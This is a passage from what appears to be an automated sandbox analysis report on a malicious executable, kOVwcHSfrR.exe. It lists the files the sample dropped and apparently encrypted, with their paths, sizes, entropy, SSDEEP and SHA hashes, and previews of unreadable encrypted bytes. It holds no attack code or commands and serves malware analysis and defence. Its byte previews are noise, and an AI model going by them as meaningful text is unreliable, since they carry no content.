Qe...Ml....y..C0q.:.2rk....nGY?2..`e..hw....y..H.\|6.....vNh..F.yn....]....V....\|.?....}..#x.........$......!f.c.l.\....\|.^.>..d........'......"....0g+........1C.....!....LE.......O.Wm=...>...8B..{N.../.3..r.".k..!..b.....Fq..o...SMt.....i]...T.[...[&9.{2Mi.w..V`.....bVH......D..Q?...,.3&.?..K.AI..RQ.k'..sv..a..Ii...3..i...0*jg.4.wR1..m.i&....^..../.Wy...9m .O...)&8l....Rw-K...{.(D..'.A

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409739583097184.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	118259
Entropy (8bit):	7.998419559228462
Encrypted:	true
SSDEEP:	3072:VBx5acKYI4L0hEJiJ/lS0RgWEa3DApkkPnY6/6q2tX7m5:VBx5Np4MM/lHgJaTAkkvY6/6FtLY
MD5:	2EC9DDB6EEBD70E5489E51DC4D6A8546
SHA1:	D97B924283538A2A7B37822481011F03EC486E98
SHA-256:	DBA6FC39639CD16B0540463377057944283E524FCF9E37D8F690EE762BCDA454
SHA-512:	4CEB25C9DC44F4DB3625DF99215726DDAF5087E88FBF4695F22BF119A3367919AF0C2A9A37348779F7EB7E604F86892CFE9E7DA68700B597D2AD7601D60BDC20
Malicious:	true
Preview:	[{"Sy......k.\.......E..h..J..4....^.....@.If..D#..C.%:./,\X..Q...6C<..."....h.........f.1$u..>. ..F&^. ...x.....mS...L....8...^)v@.......`'..r...Z...n.....vO.lF...Q.Ti........{....R.4b.`.s..`...{F.<[..":\.......qB=....S.....be .I..:.S[.us[..#...=dfL...\|.%..kUU!.vg..W.....aM.[....g.l....V........n...Kn.w.s.S..=.y..F..Q...)....I!.D.LeQi:....z..,.W~.1..A.T..h07..qf?T.Y..3..U..2.(.%...t7.6.o...??..7.x.-......m.1.x...[.ZY.K.#....\........D.u.}j...~..f..;........y...wy...z..q..K..d.Q..`...E......C..E...n...........!..=..0..7W+c..F.>rn...B...<e..~...f...@......CpZ....l.gr:. >.{)...{1...<.`.eU...R....,....&.D.....j.\|V....;@...iX.4.......1V.f.. .)%..$.P.~Y...lj.rS....6G.I.fh.).w+18d.....`/.......$.)2.i..B..Y.....A*d.2..(EDh%..@w./.......I....yG.uhg.8.#t.nm.Q.S...!WG.G._yd...F.....J.?U.3...8_.s.c8.....^....Q.<.r...#}7H..w..Rn.<g.:..(...g.8k......5..W..x...........$.>H..WV.6......[..W....p............x..0Q.q..7c...A...F.....RN<.. ..&

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409748963858714.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	118277
Entropy (8bit):	7.9985067103500835
Encrypted:	true
SSDEEP:	3072:CSuBcQiROG+gdE5Qra702XFn9+07zm6WQtGP07+x+q688:C5BG+cESrezD1VtKM+ud
MD5:	625A1AD6DF3521689BBAAF6885674B94
SHA1:	4BE1E5632103B61E957BF4995423C697418F6440
SHA-256:	90BF4CB108773E080346E44CFE98F316C0719135F8436F060475F837CF0B526E
SHA-512:	20ED2145F13C8CAF29E242CD491C8422AFC518E40093942705900555378D5E8C197E895246F0F0E4D98C5D6F9C0C5A21EDB793582C2D316129D2C835FE67A786
Malicious:	true
Preview:	[{"Sy.S C...-..O....B....:...".!...3v.tp.......w.I....!r...Z...I.A+lz....S...].DZE..b..#Y&.`...W]...&.....Ua..... ...z UV...!....... OR...!..Vj....&.R.c6.\|...#.Z....x....XdGZ.I8.b){....!......d.^.#...}.?A.=.........lLz.h.L..{"d..g.N"A!..d~.\#K]g..M.0...l..C.Q...........5e2.L+\|4.....Q..&...MG.......kO 5.+.J.NB..[...2C.8V...........i{A.V.#E...Q!.Xc..R..(I...S)x..v#%..c:.4.6......I !T?.<(.....4^aCU.......>.K+F.....2_...a.oL.....k:.........{.pQ%.....ax.L.F..P..a.\p6+Q,'.A2#[."=.=..Myh...-.L.D0.:.7.yr~....$..\.........M.O.Q4....X..eN.i..h..uS..\|...+.k_...?r...H....s.c8y..6..h.}......<y...7..L...C..I...h...=#`.U'........{..%.L..J...pl&_.T..../r.U..D7\|&Z..\|0=S..>.W7......3.d.c.K...(.N.W....Q\T..]..@oa.^J........\...5w...Rj....:..o,.{..CFQ......q....5.1...(...Z...3.A.).2...Kbc.Is-.L.@.._.ct.9.............?...W....V.?,V X...(_.8c8....2.K,..MgT..<.D,._...34H...0U....d3gx.#.....O.....N..X..f.!.%A.5..*..L...d..3...".l.m.$.m.ss._':.T.....#.A8q....TF

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409750302065300.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	117121
Entropy (8bit):	7.998417653163759
Encrypted:	true
SSDEEP:	1536:2RLsRKRvk9xVfxdeaFFHm46BLs8i0ujz6DNb6P0RQvmQo/+fWVQHSoJ6gBxP/L48:NRKZkLdpFFl6hse8oWoonP/L4Gf
MD5:	1911CAF25EEB6357C8740C77333C0841
SHA1:	F10A85362FC416252E078F9BBCD3F6926866AA8F
SHA-256:	A9D5606B099E521EE023774257A605DAF22CB5531C0A3035BE24E69026E236A5
SHA-512:	EEF78A75E0C6503FEFB7ADEBDBFF0C415D3DFDA69CE3B352E27D5609730A0A1C72A4DF112AED402316F37E8324D11D5EA3E096990A1E8AE2457F7E181BE647EF
Malicious:	true
Preview:	[{"Sy...T.+..K..@.-....+..;......kE..K.....L&.{.}.H...O#6,....g-q"{'..`..e..lW(.&w.>@=8..w>f...Y-..>......m.6M.=l.G.Mm'......=y@.QJ+..E.V4......EOw..znS.A.D.bJy.g...+z5.....@\.n&#.W..9.1.!.......J..G...~3..lp...;..<...m..n....R..j...4....\.......C.A7....PQ..2..T.M.=5S.:.}....B....xfa1..Z...uF..Q\|.?.$.....ZO.EN.t.$k.M....$$.B.ugF...Y...P'M36.....d.3s:P...8......VJ......!....s......"...4..Te....5.DYF...`p..........`2...2...l.."..Z.....v.........Q.0y..\e......m+)a.# .Fq.>.,...F..u..,....?Z..s."..N.@..c.......Q,.%...4.-.......`.....l.m"pQz$...6k......`\..q..F..bf..@Wt.)jU.\..<..T...F..)...l.'...6.....F..#r.(.q..{......\b.....5v.4....A..^Y.ke.~.h....Z....Y.r._v...$.$.%t.A[C....q`]....0,%.S...\|..>M.M...o.;.........S'...QZ...i...z.8.p...!.r~eJL..J,..C..Fv.D.D..W.o.z9.nC:r..N..W...K...."05\C..[..%q.fL....N.....(.'].7..\...O.yp.....@..:'4....clAn.e.uw.....+...T.ib.!.u.!Z..o..,.\...>..<...N.1.O=R..d.....P.\|m.H~....+d"f-....4.]..4)..Y

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409750601087624.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	116092
Entropy (8bit):	7.998329493819381
Encrypted:	true
SSDEEP:	3072:KhvKbrOIqObKZVhIzA07wjV3V/EI8rQ4oak5jWOf2En:FrOI5KZfwA9z8rTHk5jlPn
MD5:	E6D5418C3B01E5537E92B054E78E865A
SHA1:	18A6EFFCCD14D16886D8609FDCCB95268A9EB8E7
SHA-256:	3EEC4E4C4EB22E87A7E4BDD14B7C123460092BC13F1CA5E38F44AF9DDC9BA736
SHA-512:	5090E303C58D46CDCAC17458FB2AE5DA51B0B0AC140C76554A33818F62C0738224C656A3080B4728071C08CF052E5878D86F9E4302511433B4E416B38CFA831E
Malicious:	true
Preview:	[{"Sy.._.I\.mvB.k?..G7...0.:<...@L.h..V.V...'.T.;.!..j.oD...5.7,`.r2....5\|/...E9...kp.?.....[.d.TbZK`......................Y&_...k.G..E]2.'".V.....}.U.ZF..."`...?'.sK.....`g..1.6\..(..n.s.3..J.cMv.j..I..Y...;.H.C_.e)..%mGavK...q)...z..p..v{.l]r.I0..........5..Z.......m7..k)....vV.LoI....]...d....-0r[.(..$...7V;.)../....>..,.n...U...%.....O+CU.U,../..g....3"....>...!....{.&..aiU..:n..M...3.H..?..../A.a..-.)#n.`........C.j.i..:....[.O..J...B...\...z.....@XnM..a8.x.s1.C7...\|.g..w6...)KJ.f.JH......rc...........{{. ..... .......c...=.>.'.........z[.t <.Ok.2$e.3oU0It..Ka\|..m.='.f..8}K.!T.s9..1..&n..p.V..`..zm.$.?.W.......@_...._z...)Z...d..).N.q.K.....e..$../...)#N...:=.... ..+..79.. Vu...S..._N.i(.j;m.PY....i@\|=...p.].....LDt-T...F.rdq.dMyj.n...\.M..*"....H.m...f\g..C.P...#......>Y:..Y~'Q...K...D\5...~..Q.q......>..=.'..........dV..AO/>.c..BF.v,..\....S.a..W...t.5F.\|VW.?..+C..'...c5p....1.'..i@.]...B..3...@..&.L6....D....f...X........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409752307585450.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	115148
Entropy (8bit):	7.99874338814106
Encrypted:	true
SSDEEP:	3072:UOUS0fob5b54paZ4OO1LNdrR7AFGGaRAO8:UOtFbXyLPN0FGGaiF
MD5:	76ACA3ED517FE2EC4D968756098F5270
SHA1:	0F9B6785D85E993CD1076040B06140D7F41BBC7D
SHA-256:	EE11A68DA464BFB8562B3E5A637B17BB765785372867C45AAC40F2DB387DD6CD
SHA-512:	654F3451E8EB7F96AF828775DF5AFDCF96E578658C494AADBC934B7A834E878487ECC3195E6D151841E0C7B46CF5C8C0E20B4922AC395EFA8BC0787B9E0B1586
Malicious:	true
Preview:	[{"Sy.f...n.>....l.%...<Lh.$p...5._w..jv..MW....'..;...#.t4Iz."......g!...M.J.h8......d5../.$.4.u.3p$.q.t.y.e.6t..(...<0#.'..7hY.p.....1..........z\|.g..!r ....."...Q...x~GN.n...../H..)G.[.\|.Z..%...?..w2...j?..IvV..?...!.&.,..c.;6V}..6.".u[...y.N..q....#....P@:.d...Z@....g.tD..36.0...}....{..y......K..(A.8..(.<...C...N..........qd.....c...5..5O.....X.8T...=.D..J..$s9\>..L.....H9....`.a....c..2zYr$...:.....g...XR...v/..".8 .3=.!0Hf.jw...I}#......0...:.I5....P{W.@....0.R......w)&(.9..t..z..#...1.L.tgp...o.K.Izp;.i.#ShF-.......4../].e...C...y.Ed....I.a.......l..G..s$..R..'.:.$n.i[.....v..4\.DB.h'-......._..9A.HU.=..qh.$..z.. ..\...R..7.\|)...~.....x.h."T-!............<zV.4..0A...vS.4..~\|..0b..(.@.j..c....hR.^&.G.!...=.K.0L>........o......._...=..rUX.a.+l.ltS_HU..'...lD.eu.:E.w...4.(K\|}..Gn.........^.7..?9[.l.....P..".....#..=..Xn.4........#FJ.m.C`h..b.H.&.(.{.......f...~-hG.j\d. .)...B.Ym...].......[.=PF..Mo.yc...MF...g.&..J.hr....O..$..j..jX ..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409752607526634.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	115148
Entropy (8bit):	7.998569897351001
Encrypted:	true
SSDEEP:	3072:Ch1IvWosgfSo+oWbylvz9rdhYGhnXdyDCuxmti:s1IW9ig2lLf+GLjuxmti
MD5:	6990A001F9CE6C1EC6FA5665E8250C6D
SHA1:	75DF1BFE09A0E2B2A4E83E2E063E887352AB3B1F
SHA-256:	D62180949F5F2CB2C08E7E8FDCFA913CE48295CCBFE425DEBDCB72FE2B345A2A
SHA-512:	8673DA60FEFBE48246A3BE09B58E6006983CE313ACD198BF55026A014578273B1D62831D29D50F858C02E72E79A5F34342199CF07FA4415B1D2221939AF01D32
Malicious:	true
Preview:	[{"Sy."=Uk..V).x.....o.Y.[.4...`..0]..\|.yf..Z.w.^.Z...h....T...qKj..>.....B."..m:..E<.b..[..6.uAHR.7.....P......\|5....E..?../...&..A.!D..N$.........G3......g....r.........-Q....^D.<s.-.6^U..?...Z....,.N}@.............K..R%u..f.....c.'.P.....vC....#../9d..c.r.A4d.......S.!....3.Z.........\|@..A.'^@.].F......U.s..c......K0`'....W..j<.t.6...o.\|..#.,.[.....~...R..x..6.$Z}.t..iC.W.j..h-J...Nv...y.g......UI&U.....4LJL....+..X...\.....jG2....,+.....1..Z.F._2.Hd=.A.Y..IC....:X6"..3N.Z...U........<...xt_...!.vi&<...F..'w..r.._).B...~.6Q3...Z.g..V......GK,....o7/h....=..8ii....F1H..9.1............1...vs..j. ...q.p"....y.`\.l@..e.a:...VF.so...T.f...U.U6.'.t.EC.w......j..o.^.._E...I.....9......T.\|Q0y.....y..d?u...).a^s.&..z.qG..x......s.woE.d{m`.L..-.U........Q^D..../..*='}58..o!....?.\|3$"......@G....x..s.}.......g."......9..H......I/......j....!.../..0...ns:y.e..6...Nu..Z..%g...vf.UjN..:...a!.._..e..Eu.\|`.0Z5....?v....N.g.r....@3g...A2.pu....C

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409754051185999.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	115148
Entropy (8bit):	7.99846785701875
Encrypted:	true
SSDEEP:	3072:vpr3TPiyBgiUbHje4OTJAx0FW+BAZJa7ifyLqD/:vprTPwP24OpFgvaWrD/
MD5:	588603C4D31798496B49D25B3857A323
SHA1:	3B3F73026FB750D5B8B2D39AF48F870AAACC85EE
SHA-256:	B30D5516DE7E553F3FDCA7E7000E6162F2181A5E69B4D4079D89B8F32B454E9B
SHA-512:	507144AF4E10EA1B240FDFC647CB46CA9954A1AB6E9DC1EEB2A6B983C587227D5C503B5F06B1A17687A20E8687345F5DCF4D7311B4FF76DFD336371D3BD58E89
Malicious:	true
Preview:	[{"Syjh[3%....j...XS....u.k.F......./....;.u..,.M.b...e....c\.\..'.n.&bI.Q4s..U.~.P. r>.._%n%..u..Y@.`.x....9}1...Va.3....TR.....7nJ.(.1.g;. ...Y.R....Zz8.V.l%.E...^B&........nd....@..<..Ht.!.G.Z.Z.g..1...%..f.d..{.X.a......>J=..n.#:...Z...h..J...g3....b...Z.{.!u.m ..n.Sk...E3...._r~..J7CSv..i.9ga`h.[.c.`:.>:..f....e~0.R ...$.D........C.Vn5V.p.A.yT.M......Z!.-.k?j...&.r!?.3.....E6M.h.D.<8K ...;+....$LM.....e.Fqv..ku.V..E.Bx=_...W..-.\|.c..c.....?.k.-!.........cO..c..._.fj.....$.)).a..M....g..od0.6..~......y.l.D..x...q.$.l.x....k.8x...\|O:..t...L..k......-#..e...o....V.....%V.1.k-......maw.w....5.(.Z.Q)../.<;sH.._.!.....>.............&.1.n.'6.B2.,9(.H...b..h. y.nO..U...v.n.<....~}Ne2..,..L...;S$...V...1l..`..c.....sc.....~N9....h.Vk.....0#....5.Sb..x....c.Mqy.BlX..\|.j.>.....u.._..."1l... mg.$a.9...f...?g2...Qy.5..N......t.. ....b...HM...O..^...z.V..}.&.6.....D...O........~.S..7...Z.&..A...H.`a..`<.pG;.....).P."vD.......E6D..v.x.......ni..o.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133492851440826167.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	114308
Entropy (8bit):	7.99830578552998
Encrypted:	true
SSDEEP:	3072:+apBXtQshI7O7XL1GoMDZ2gPgsGabm0bl:+aeshIC7ZGoMDZFL7bmwl
MD5:	66F01FCD91BC0DB219B26B1C07FB959A
SHA1:	52D7FE97478F2B013864636B4A79C852C8D79759
SHA-256:	7274469D0687DF18F362E7D098B39EB2FFD2FFA4EBB19052189B00E92A437C05
SHA-512:	228FB10423DCBF0C13605331204FF7959390CA4E073D2588C20A6B6840537D906A72876AD42FD2E001B8EDF098D6E5B4DBDCA75123E00623494635A775A5DAF7
Malicious:	true
Preview:	[{"Sy.....2.....j.....F.......F.'..e.f1%.uIz...p.a...U..........${)EfO....#>.Pq!..%d..-A..>..5.rd...R._#..\;.J.....%.^...R.=Z.u....JqM.,..o.........Wu...S.(.......N...0.G8...."8...A.k.0..x..../....5....jc.Q..,...Y...}s..h.8.;.i....9Y..Vhdc.v\|.%Q......m..-.0.{C#....9.=t..CX.3."R..n.F.~..IkHA"u...TydX^.-t.v..%d..v....l/@...T...,...XY...[0..Q^.,.R.S...[.}'O... ..7..a/..\|\|.4...D...[..='t.%.~.V...$'..ks...)...N..m......2.;......1..e.o......w..Q."..C.e.....E.........A.^.Q.!I\F.Cp.W...w..@......W.c.w5d./.._.\.jY...;..@.n1./4I.D=.\@9...FmL.{...F.X_)...Y`..2j...l..I...f..&............eiw.a.4~.a...V..kYR;...V...Y....=f+..r..z...i^wu.....32..Y..D~D... V.t..........."..)-0.I.........[........"?...W...... .z.L...7g...w ..$...........^.......&C..#L...o.s._9...z?.......].........=A...}.....7mv./36.h....5t.h.HN/....1+.(~=....Xj..(..6+Q.3..:c..J."..=.....o.t.W.....s%,..\|h...)}7.]..=..a.!....T...Q^!#).\.........=...H..._...[R......Z3..%.Ogh.(9}..\|.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133492851780975813.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	114308
Entropy (8bit):	7.998526407210202
Encrypted:	true
SSDEEP:	3072:tAG0C2VDVE/urpafR5Lmrgw3My713wg/8hIXbWENpl:tAfCWBpCrA3Muwg/8hIC8
MD5:	B5551D1D259E4419B114FBD25700EF3F
SHA1:	1A9EFF78D827B8E436CDEE077B1314E650D7E88C
SHA-256:	BCAC9A30637B772FCE41DD927ABCEB17B04BBB79C2C1D18B879AE9E6AA0F236C
SHA-512:	A3F4D1FF01B9CC44A11DBAFA370D14F5305358AA78422CA1DFEA01F32FDF830EF48A9632AA794C7C1B06E214803898B8E75AB2AB15EB95B763816C281DF1F723
Malicious:	true
Preview:	[{"Sy...H.......2.g..+..f@.A..6!@...S...K.L.a....\|..i..P...=>o..D`...B.e5...._'a...j.4:q1}........;...m...Z../..4...`..N.. ...9y.^U..cG5=...?CU.9J...&.xk.....Y.../.=....P.$...n.{...]'.....\.xp.....<e.L`..uT:....=@.tf^..3...B.%6.V.4l....... ......m.'1...6....V>...c"..>q..d..[:......e......[2lh..N..(...[tP..T.9?;.y..!k..a..0.n............td.O.FQ.e.....)E.r...C.o....... .hf..#..x....!0..._....vO..].....1...L@:.Y.8f.[.....l....?7.H....W.J....4838.l....qbC}'u.P.NX.+....J..Z...i.Y....;2...}....`JR...v+`....oz.4jH...;.a.,...W....e\|._.'..X...l5...T~.......'\b..]..).0S.....+P ^.t..&^_u#..#.Mm...Z..\|...\|J......................!.....Md:kW..R.g..P6.....N&...f..~...kI...G...3.&....-.}..d.....(_.T.hj...=..3..l]W.......)....Y.....[#....\..)9..sx......_.V..9.{E..0....V.8.TF.&.d..qf.x...0l..I,...1> m}.A.Z.....x.k...s.1..J.E...dL..MH.>.......}5.K.L.6.{.b..V ....8.77...<........F...m....A3.,...9...z.C.a.]b..Z9R.@Y..\|%.W.(.j.C6a..W.....a1...%..B.[.y8.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.209991265891578
Encrypted:	false
SSDEEP:	12288:oZehBnhLNrGjpbe8FCoGotdYuMOCc5MpzgroTDLgC:bzn1NrEpbeq01uMOCc5MpzgroTDL3
MD5:	3489A8C04FB81D6461B36FA0BFB3CAA1
SHA1:	94D52D6384DE5058DF7C36A36ABF2096DA6DB194
SHA-256:	37D94112CE828D54979C189E45DD39265C07A51270EB640EEC35D7DC37F7F702
SHA-512:	62293562F208C9550216298632ACC5BCBE1D2E50D5281E0761865233D5A4750231A19C7053432CE61C024F3DF33CBD778D2DE969DA5E7EBD8E7A985169ED6916
Malicious:	true
Preview:	[{"Sy...x.....k.8V.....&\0....f._0.J..8...f.1d..+...<......v..x...).L.[...P+Ws.O.B...>...d_.$)s...i.g#)7..!......Bpm..h........~V..Dx..\|t...c..%.....s..k..^...4...U.2...\|..o.......]d.L....\|.m1...X...Yl... ...C...CY..k\..W.E.o...Y....k\|$...%..q..0...a...JE.c'..Y..4Q..\|C$.F.5N\|.~...'y&n.ku..=\g.aB;=.........(o..8.....'c)....U..'....D..W.M.U.+.Z ......?\|.E3.....K....6o...{.x.@/@c.&F.%..{E5...s.?...TP....Z.>..&..%..._.'....D".............~..Q.%..%....q......}..../-..ty.Tp.....L..w.ek&$....\_..-....T.=Q.h.%\..0."+.c.P...?.....'. GO.hd.q&q%....y.0...$[h.we........K.,9..h.....1E.."Nv$..nE..Op..d:A(...Zf".8.....r3...........X.i..@I.......k.Go...2....w={)V....9........'q...rX.B.....F.F..[Q...>...Y6.z....P.....Cl.W{#..Z..Pz.9.$W'.o...Y."N4.W.......h.],.....Pq.f.R.'i.._.uR....~.<.~....."D..y........:l...d!.4...f."jL".&B.7?.2.a2.].....n..bPA..<_.......o.8A......`tr:AN.u....H7...~\L..W.t..<...I.Bu......o..Q........<......yY.R..y..<.....;...d..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	28781
Entropy (8bit):	7.993629164177101
Encrypted:	true
SSDEEP:	768:+XyJgvzUAsM0tYwsCkbFz8f1YJkzYz68fdbAHS/kl7RWYX:6EgLsb/OV8d+IYzPfdbATNRfX
MD5:	8E557EEE886103930F9016F947FA62A1
SHA1:	676278AEA73FDFABD2D456B3973201F3DEC53611
SHA-256:	FFC0EBD5C98C46A3F846604F1834C2389EBA36EBBE1358854481A23B04180929
SHA-512:	C77CBA69DDA2BA3E02F4DED7F73BBCFF26221F1A01985A8CEE4743A2EBFEF25961F0EE075257D64DFAE32FC00BC392F65EF097246C07432F53CF80D3ED6088AF
Malicious:	true
Preview:	<svg ....5........73.Z.....-.......Oj..r....C.......'%n}.. ...`{.`p...AtU.:.OVD>......D..-#..K.;>..xi..N...t{.wg..0_.&..?...<h."..,.=.$6.3..`x0..},...41...^..5X._G...V....>t.=.$..m..U...du.f.T.V.>twa..,......y~X....7Oa......n{.z...Rx-m..X/......T..l....\..-. 1N..?...#..........Y....r.9..>..B.s'M..7yyE{.L.X.\|..7 ..k6....E"..g.BM...6@..W.r}..x..&...)8.)s.~.Ss...0p..L./CkG\..]....{.7..=.g`.m....O....b..6_@..,W5p...F.........8.I..(g........v.4(.q.Cg">..z...R....I1..w.~.=.R.#lv.!\\|F...)..^..zt...4##.0Do..M.......\|.h...2xI.-B..s[.4N.y~F.9......L./.....n7.4B.xj..j.;.Y..y.H.h.......PwW"..a...]..^ .u......D..sr....Q..`.I.s+..m.e%LC..y.sJ.3@.<...d.HC3+r..EB&.J....k.%..J.a.vt...@.......8.C....wy......[...?.$.&...#..2.z'@.5.g".4..>C....&..p(+..@.K..v......_........Y..l....Z.X>..@n@.:..p...w. .c.!.#MP.QfG.W>B...0{.q]..C0.S......B.7.........Q....&f4.5.#.D..v....g..y%M~0(.8.....!..L.c%.B.hc$.....7.b.:&7....q..g.k)9...U.r..'kz.n.Li.A.o:$...O..5.k5

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	28813
Entropy (8bit):	7.993435290877018
Encrypted:	true
SSDEEP:	768:yi7bnWRvh7NI6i3xQhQt2uG8eg2XcGMQnZHGlJlbo12:jbnWRvh7NI6Yt2ZXIGxHGrs2
MD5:	463E1C6ADAF6F678896BC687FA846552
SHA1:	0E87CA67C11C44036491D61799C5D12EF511094B
SHA-256:	9611B84A68C7272B7DE57C91FB095C04BC56CE22EED413EDE323A5BE781FD8D3
SHA-512:	87BD771E5570BDC2D55466BAE1E50AA8E6E7C90B7F6B5CF723F5D4053EC7F29057EDF499973F44BB5BD08F1B62F25EF9A2DCD485EEF046C79D6CDF0E4DA320AB
Malicious:	true
Preview:	<svg H.`kZ.6].U.[.,.4..e.u..c.v..ZC.;...&.K\5@.0..\|Xe...".=.X.5...V..JI+.$.ZGpC.......3.#,Jm.-...t.Hb<Nhf.Q..A[......8....gN..X..yS.K...LL.......#..%.{.9...z....I`1{$...qv....;CB.}..y..F..Pz}.3@...x.I?{os.\|9...@...$k.-...,f..(..X......;]-.?..z.....o./.W....>f...U...9..$$..o&,..q.j.O...y.Tl......r.....W..\|.%>...A...'._.O..2=P......S]..-Q_.6=...6..\-....;.Y....@............0.tO.~vl....T.....w...f.Q....e...Oz.mi.....@.d.:@(5.....C...9.....fv...a.."M....f......l..1I..'..6.W~.I1...L.`......&....Q..,...\|.,...Z.....C...6..j.8g...`.&....g..$..T....;L..HL4.XG.{B..1K.l.R(..\|U...>.\|.Wq....H.......}r)..8...G..l,..Kev...Nv..5<..c.........\|!e..Q.^.;...qK8:....:.`.N.q\|.M.O......e..T..P}..._..D........:..;..f.O.J.m....9.N..E;..K..`h.e:m..]Wr.......8.:p..$,..b5@ppW.+.(..$S..]H.V..M..E....~.0.\5....~.....e.........m.p.1x./...f.2T;.B.G)....(...N%.n;.wL..]/..\^-."l....G.F.0(J{..!...'u.A...2..X.4h.K .{.a.=.....i...@...g.0 .01Y.t..!.N..h)....l{...I....7..N.`.(I..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	127254
Entropy (8bit):	7.998243247189903
Encrypted:	true
SSDEEP:	3072:z+BmNIWSKxG8+1vCo/gRGJET7J6bnOZ7otF:zzSKIvtCwmGOR6bOZ7o
MD5:	8D5023CFA6E64FB33BFA1508ABCEC1CA
SHA1:	76D1F1D9D0B0B3CF36E352E4827AF3F98115C85D
SHA-256:	8245D58867A55F471B7402EF6BC83CE03FFD3EA6F058294B542A088E7FF91286
SHA-512:	99C7524141529E7BDA5251D2AC014F5B529D460A4B6724049299DD0481352737B3FFAC6F14480FECF79836BBD795F067AC41BA24B9D85FAC792C5FA067F8C1D5
Malicious:	true
Preview:	{"loc.P..-..p..Z....D.5I.H.?..:..g..bj\|.........5.../jI...\|r.$[4n..20.a..;..(.>b..j.._{eMf...2........O..8.....&.7.S.&..<....Wf\|:L....P`..6......% .p....D.......k..eY...1k...m..JU..b.<..~...7C.\(!....%...D.+..0.~.24O\|.~e.K...r.X.~.....7.,Ir.Qv.J.or.D..D.N.....P.....<...'9...j.4...l..c..I..}.t...W..:B.60a..vH..S......W........Q5..CB...RQ.E..k....v....F..z.F.6_U....}..x.JzD..m...>1[......>..)..5..p.A.2..M..F...2]j..A.d.....6..u...p4..0'.0.....n..o.lQ.B.rD...{..x..=E.B.@...wd.X.M}......!...mktP.....,P(}...A..i......M..z./.JZ.....r..@R.Cm.G....Ukt.l..Z\?.N.W..g.K.>.1h6c.!..0nG.wz...3\.2.il....^)b.........".....e.dlc.K'..1...-...5...]...A...6..'...f._VKO...>.@9f.b..y.).....k.f."g...bj.W/.....C........XU;......4.r..7~...x.(...b......D.................K]08_...T..u.......7\........zrj.+...s%..]...\...%.....Z.BV.J0...v._..k...!SYW/.....D..).;.P.V..7..\|.5.......].d.GD".2.x;......E.....Z......A.O..G.<....>..&......R.d[..R5...M..e..F.6.w..~L

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980994820645454
Encrypted:	false
SSDEEP:	192:fpF1BNDwmpypNNto2clv3xQDAVnjztQzOESd/0YN:fpFNwmpypN7o9lZH4znc/N
MD5:	54FE08A46E460BAF2B76F3BD99DC43EC
SHA1:	BABF3B0DDF13DCABBB9F3B454908E209AE710519
SHA-256:	543B8EDFB380786C3B87F6D99A74220DACF65B725A956E7ACFD7025B60D81123
SHA-512:	0483495BBCAAEC7F535702D0FFE7AFBA72E6EA4116F67C48B43E5EFBBBA513034619A56FA78D69E613888148B088C9D155ECC12B73C26B4C58CE39F3A58A3FAB
Malicious:	false
